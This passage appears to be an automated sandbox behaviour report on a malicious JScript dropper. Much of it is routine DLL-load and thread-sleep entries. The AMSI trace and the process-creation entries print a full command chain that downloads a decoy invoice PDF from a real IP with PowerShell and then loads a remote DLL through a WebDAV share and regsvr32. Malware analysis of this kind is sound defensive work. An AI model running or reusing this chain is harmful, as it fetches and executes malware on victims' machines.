Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\180.js.csv");ITextStream.WriteLine(" entry:7491 f:dgkqupigo");ITextStream.WriteLine(" exec:2 f:dgkqupigo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4681			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4999			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7704	Thread sleep count: 4681 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7708	Thread sleep count: 4999 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7688	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7812	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7984	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7248	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.1696033046.00000234CEF11000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 00000006.00000002.1757232857.000001D5B3CE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1757018581.000001D5B3C88000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2984007115.0000021A8802F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2985620297.0000021A8D659000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2771212712450.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

